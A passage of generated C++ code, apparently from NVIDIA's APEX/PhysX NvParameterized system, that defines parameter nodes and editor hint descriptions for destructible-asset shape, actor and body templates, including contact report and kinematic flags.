ParamDefTable[163].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=164, longName="p3ShapeDescTemplate.restOffset"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[164];
ParamDef->init("restOffset", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets the rest offset; if -1 it uses the global default.\n This is applied to all shapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets the rest offset", true);
ParamDefTable[164].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=165, longName="p3ShapeDescTemplate.userData"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[165];
ParamDef->init("userData", TYPE_U64, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[165].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Optional user data pointer.\n This is applied to all shapes generated for this destructible's chunks.", true);
HintTable[2].init("shortDescription", "Optional user data pointer", true);
ParamDefTable[165].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=166, longName="p3ShapeDescTemplate.name"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[166];
ParamDef->init("name", TYPE_U64, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[166].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Optional name string for a shape; must be set by the application and must be a persistent pointer.\n This is applied to all shapes generated for this destructible's chunks.", true);
HintTable[2].init("shortDescription", "Optional name string for a shape.", true);
ParamDefTable[166].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=167, longName="p3ActorDescTemplate"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[167];
ParamDef->init("p3ActorDescTemplate", TYPE_STRUCT, "P3ActorDescTemplate", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[167].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Contains the parameters the application can override on any actors created.", true);
HintTable[2].init("shortDescription", "Contains the parameters the application can override on any actors created", true);
ParamDefTable[167].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=168, longName="p3ActorDescTemplate.flags"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[168];
ParamDef->init("flags", TYPE_STRUCT, "P3ActorFlags", true);
}
// Initialize DefinitionImpl node: nodeIndex=169, longName="p3ActorDescTemplate.flags.eVISUALIZATION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[169];
ParamDef->init("eVISUALIZATION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enable debug renderer for this actor.\n This flag will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enable debug renderer for this actor", true);
ParamDefTable[169].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=170, longName="p3ActorDescTemplate.flags.eDISABLE_GRAVITY"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[170];
ParamDef->init("eDISABLE_GRAVITY", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disables scene gravity for this actor.\n This flag will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Disables scene gravity for this actor", true);
ParamDefTable[170].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=171, longName="p3ActorDescTemplate.flags.eSEND_SLEEP_NOTIFIES"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[171];
ParamDef->init("eSEND_SLEEP_NOTIFIES", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enables the sending of PxSimulationEventCallback::onWake() and PxSimulationEventCallback::onSleep() notify events.\n This flag will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enables the sending of PxSimulationEventCallback::onWake() and PxSimulationEventCallback::onSleep() notify events", true);
ParamDefTable[171].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=172, longName="p3ActorDescTemplate.dominanceGroup"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[172];
ParamDef->init("dominanceGroup", TYPE_U8, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Assigns dynamic actors a dominance group identifier.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Assigns dynamic actors a dominance group identifier.", true);
ParamDefTable[172].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=173, longName="p3ActorDescTemplate.ownerClient"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[173];
ParamDef->init("ownerClient", TYPE_U8, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets the owner client of an actor.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets the owner client of an actor.", true);
ParamDefTable[173].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=174, longName="p3ActorDescTemplate.clientBehaviorBits"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[174];
ParamDef->init("clientBehaviorBits", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Changes the behavior bits initially specified with PxActorDesc::clientBehaviorBits.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Changes the behavior bits initially specified with PxActorDesc::clientBehaviorBits.", true);
ParamDefTable[174].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=175, longName="p3ActorDescTemplate.contactReportFlags"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[175];
ParamDef->init("contactReportFlags", TYPE_STRUCT, "P3PairFlag", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Combination of P3PairFlag flags.\n This will be applied to all shapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Combination of P3PairFlag flags", true);
ParamDefTable[175].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=176, longName="p3ActorDescTemplate.contactReportFlags.eRESOLVE_CONTACTS"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[176];
ParamDef->init("eRESOLVE_CONTACTS", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Process the contacts of this collision pair in the dynamics solver.\n\nNote: Only takes effect if the colliding actors are rigid bodies.\n", true);
HintTable[1].init("shortDescription", "Process the contacts of this collision pair in the dynamics solver.", true);
ParamDefTable[176].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=177, longName="p3ActorDescTemplate.contactReportFlags.eMODIFY_CONTACTS"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[177];
ParamDef->init("eMODIFY_CONTACTS", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Call contact modification callback for this collision pair.\n\nNote: Only takes effect if the colliding actors are rigid bodies.\n", true);
HintTable[1].init("shortDescription", "Call contact modification callback for this collision pair. ", true);
ParamDefTable[177].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=178, longName="p3ActorDescTemplate.contactReportFlags.eNOTIFY_TOUCH_FOUND"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[178];
ParamDef->init("eNOTIFY_TOUCH_FOUND", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Call contact report callback or trigger callback when this collision pair starts to be in contact.\nIf one of the two collision objects is a trigger shape (see PxShapeFlag::eTRIGGER_SHAPE) then the trigger callback will get called as soon as the other object enters the trigger volume. If none of the two collision objects is a trigger shape then the contact report callback will get called when the actors of this collision pair start to be in contact.\n\nNote: Only takes effect if the colliding actors are rigid bodies.\n", true);
HintTable[1].init("shortDescription", "Call contact report callback or trigger callback when this collision pair starts to be in contact", true);
ParamDefTable[178].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=179, longName="p3ActorDescTemplate.contactReportFlags.eNOTIFY_TOUCH_PERSISTS"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[179];
ParamDef->init("eNOTIFY_TOUCH_PERSISTS", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Process the contacts of this collision pair in the dynamics solver.\n\nNote: Only takes effect if the colliding actors are rigid bodies.\n", true);
HintTable[1].init("shortDescription", "Call contact report callback or trigger callback while this collision pair is in contact", true);
ParamDefTable[179].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=180, longName="p3ActorDescTemplate.contactReportFlags.eNOTIFY_TOUCH_LOST"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[180];
ParamDef->init("eNOTIFY_TOUCH_LOST", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Call contact report callback or trigger callback when this collision pair stops to be in contact.\nIf one of the two collision objects is a trigger shape (see PxShapeFlag::eTRIGGER_SHAPE) then the trigger callback will get called as soon as the other object leaves the trigger volume. If none of the two collision objects is a trigger shape then the contact report callback will get called when the actors of this collision pair stop to be in contact.\n\nNote: Only takes effect if the colliding actors are rigid bodies.\n", true);
HintTable[1].init("shortDescription", " Call contact report callback or trigger callback when this collision pair stops to be in contact.", true);
ParamDefTable[180].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=181, longName="p3ActorDescTemplate.contactReportFlags.eNOTIFY_THRESHOLD_FORCE_FOUND"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[181];
ParamDef->init("eNOTIFY_THRESHOLD_FORCE_FOUND", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Call contact report callback when the contact force between the actors of this collision pair exceeds one of the actor-defined force thresholds.\n\nNote: Only takes effect if the colliding actors are rigid bodies\n", true);
HintTable[1].init("shortDescription", "Call contact report callback when the contact force between the actors of this collision pair exceeds one of the actor-defined force thresholds.", true);
ParamDefTable[181].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=182, longName="p3ActorDescTemplate.contactReportFlags.eNOTIFY_THRESHOLD_FORCE_PERSISTS"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[182];
ParamDef->init("eNOTIFY_THRESHOLD_FORCE_PERSISTS", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Call contact report callback when the contact force between the actors of this collision pair continues to exceed one of the actor-defined force thresholds.\n\nNote: Only takes effect if the colliding actors are rigid bodies.\n", true);
HintTable[1].init("shortDescription", "Call contact report callback when the contact force between the actors of this collision pair continues to exceed one of the actor-defined force thresholds", true);
ParamDefTable[182].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=183, longName="p3ActorDescTemplate.contactReportFlags.eNOTIFY_THRESHOLD_FORCE_LOST"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[183];
ParamDef->init("eNOTIFY_THRESHOLD_FORCE_LOST", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Call contact report callback when the contact force between the actors of this collision pair falls below one of the actor-defined force thresholds (includes the case where this collision pair stops being in contact).\n\nNote: Only takes effect if the colliding actors are rigid bodies\n", true);
HintTable[1].init("shortDescription", "Call contact report callback when the contact force between the actors of this collision pair falls below one of the actor-defined force thresholds (includes the case where this collision pair stops being in contact).", true);
ParamDefTable[183].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=184, longName="p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_POINTS"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[184];
ParamDef->init("eNOTIFY_CONTACT_POINTS", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Provide contact points in contact reports for this collision pair.\n\nNote: Only takes effect if the colliding actors are rigid bodies.\n", true);
HintTable[1].init("shortDescription", "Provide contact points in contact reports for this collision pair.", true);
ParamDefTable[184].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=185, longName="p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_FORCES"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[185];
ParamDef->init("eNOTIFY_CONTACT_FORCES", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Provide the (summed total) friction force and normal force in contact reports for this collision pair (see PxContactPair).\n\nNote: Only takes effect if the colliding actors are rigid bodies\n", true);
HintTable[1].init("shortDescription", "Provide the (summed total) friction force and normal force in contact reports for this collision pair (see PxContactPair).", true);
ParamDefTable[185].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=186, longName="p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_FORCE_PER_POINT"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[186];
ParamDef->init("eNOTIFY_CONTACT_FORCE_PER_POINT", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Provide contact forces per contact point in contact reports for this collision pair.\n\nNote: Only takes effect if the colliding actors are rigid bodies.\n", true);
HintTable[1].init("shortDescription", "Provide contact forces per contact point in contact reports for this collision pair.", true);
ParamDefTable[186].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=187, longName="p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_FEATURE_INDICES_PER_POINT"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[187];
ParamDef->init("eNOTIFY_CONTACT_FEATURE_INDICES_PER_POINT", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Provide feature indices per contact point in contact reports for this collision pair.\n\nNote: Only takes effect if the colliding actors are rigid bodies.\n", true);
HintTable[1].init("shortDescription", "Provide feature indices per contact point in contact reports for this collision pair.", true);
ParamDefTable[187].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=188, longName="p3ActorDescTemplate.contactReportFlags.eCCD_LINEAR"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[188];
ParamDef->init("eCCD_LINEAR", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "A less expensive approximation of eSWEPT_INTEGRATION_FULL, where the rotational motion of the objects is neglected. Should be used when performance is of the essence, for objects where angular motion is unlikely to lead to tunneling.\n\nNote: The scene must have PxSceneFlag::eENABLE_CCD enabled to use this feature.\n", true);
HintTable[1].init("shortDescription", "A less expensive approximation of eSWEPT_INTEGRATION_FULL, where the rotational motion of the objects is neglected. Should be used when performance is of the essence, for objects where angular motion is unlikely to lead to tunneling.", true);
ParamDefTable[188].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=189, longName="p3ActorDescTemplate.contactReportFlags.eCONTACT_DEFAULT"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[189];
ParamDef->init("eCONTACT_DEFAULT", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "Provided default flag to do simple contact processing for this collision pair.", true);
ParamDefTable[189].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=190, longName="p3ActorDescTemplate.contactReportFlags.eTRIGGER_DEFAULT"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[190];
ParamDef->init("eTRIGGER_DEFAULT", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "Provided default flag to get commonly used trigger behavior for this collision pair.", true);
ParamDefTable[190].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=191, longName="p3ActorDescTemplate.userData"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[191];
ParamDef->init("userData", TYPE_U64, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[191].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Optional user data pointer.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[2].init("shortDescription", "Optional user data pointer", true);
ParamDefTable[191].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=192, longName="p3ActorDescTemplate.name"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[192];
ParamDef->init("name", TYPE_U64, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[192].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Optional name string for a shape; must be set by the application and must be a persistent pointer.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[2].init("shortDescription", "Optional name string for a shape; must be set by the application and must be a persistent pointer.", true);
ParamDefTable[192].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=193, longName="p3BodyDescTemplate"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[193];
ParamDef->init("p3BodyDescTemplate", TYPE_STRUCT, "P3BodyDescTemplate", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[193].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Contains the parameterse that the application can override for the body descriptor of rigid body actors created.", true);
HintTable[2].init("shortDescription", "Contains the parameterse that the application can override for the body descriptor of rigid body actors created", true);
ParamDefTable[193].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=194, longName="p3BodyDescTemplate.density"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[194];
ParamDef->init("density", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The density of the body. Used to compute the mass of the body. If the body descriptor contains a zero mass but the actor descriptor contains a non-zero density, we compute a new mass automatically from the density and a shapes.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "The density of the body. Used to compute the mass of the body.", true);
ParamDefTable[194].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=195, longName="p3BodyDescTemplate.flags"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[195];
ParamDef->init("flags", TYPE_STRUCT, "P3BodyDescFlags", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Combination of body descriptor flags.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Combination of body descriptor flags", true);
ParamDefTable[195].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=196, longName="p3BodyDescTemplate.flags.eKINEMATIC"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[196];
ParamDef->init("eKINEMATIC", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Kinematic actors are special dynamic actors that are not influenced by forces (such as gravity), and have no momentum. They are considered to have infinite mass and can be moved around the world using the moveKinematic() method. They will push regular dynamic actors out of the way. Kinematics will not collide with static or other kinematic objects.\nKinematic actors are great for moving platforms or characters, where direct motion control is desired.\nYou can not connect Reduced joints to kinematic actors. Lagrange joints work ok if the platform is moving with a relatively low, uniform velocity.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enables kinematic mode for the actor", true);
ParamDefTable[196].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=197, longName="p3BodyDescTemplate.flags.eENABLE_CCD"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[197];
ParamDef->init("eENABLE_CCD", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enables swept integration for the actor.\n If this flag is raised and swept integration is enabled on the scene, then this body will be simulated by the CCD system to ensure that collisions are not missed due to \n high-speed motion. Note, individual shape pairs still need to enable PxPairFlag::eCCD_LINEAR in the collision filtering to enable the CCD to respond to \n individual interactions.", true);
HintTable[1].init("shortDescription", "Enables swept integration for the actor.", true);
ParamDefTable[197].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=198, longName="p3BodyDescTemplate.sleepThreshold"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[198];
ParamDef->init("sleepThreshold", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
